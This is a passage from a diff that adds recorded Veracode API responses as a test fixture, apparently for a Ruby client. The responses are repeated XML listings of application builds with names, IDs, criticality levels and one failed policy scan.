+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:07:50 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:07:51 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:07:52 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:08:51 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
